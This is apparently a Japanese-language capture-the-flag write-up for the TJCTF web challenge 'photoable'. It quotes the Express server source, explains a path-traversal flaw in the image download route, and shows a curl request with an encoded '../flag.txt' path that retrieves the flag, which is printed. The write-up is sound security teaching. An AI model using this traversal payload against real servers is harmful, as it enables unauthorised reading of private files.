Skip to content

Latest commit

 

History

History
53 lines (46 loc) · 1.93 KB

README.md

File metadata and controls

53 lines (46 loc) · 1.93 KB

photoable:web:270pts

My games always play at like 3 fps, so I thought it'd be more efficient to send individual frames rather than videos. Anyways, I'm sure my website is unhackable, and that you are never gonna find the flag on my server!
photoable.tjc.tf

Downloads
server.zip

Solution

ソースとサイトが渡される。
Photoable
site1.png
site2.png
site3.png
画像をURLを指定することで、外部からアップロードできるようだ。
jsで動いており、拡張子チェックも十分なためアップロードしたファイル経由でのRCEは難しそうだ。
ソースを見るとファイルの読み取りは以下のようであった。

~~~
function getFileName(uuid) {
  let ext = uuid2ext[uuid] ?? "";
  return uuid + ext;
}
~~~
app.get("/image/:imageid", (req, res) => {
  let { imageid } = req.params;

  res.render("image", {
    imagelink: `photobucket/${getFileName(imageid)}`,
    image: imageid,
  });
});

app.get("/image/:imageid/download", (req, res) => {
  let { imageid } = req.params;

  res.sendFile(path.join(__dirname, `photobucket/${getFileName(imageid)}`));
});

app.listen(8080, async () => {
  fs.readFile("flag.txt", (err, data) => console.log(`Flag loaded!`));
});

同一ディレクトリにあるflag.txtを読み取ることを目標とする。
imageidgetFileNameへ渡しているが、uuid2extに存在しない場合、拡張子が付加されずそのままの値が返ってくる。
path.joinであるため、imageid../flag.txtでパストラバーサルが可能であることがわかる。
以下のようなリクエストを投げる。

$ curl https://photoable.tjc.tf/image/..%2fflag.txt/download
tjctf{1fram3_1fl4g}

flagが得られた。

tjctf{1fram3_1fl4g}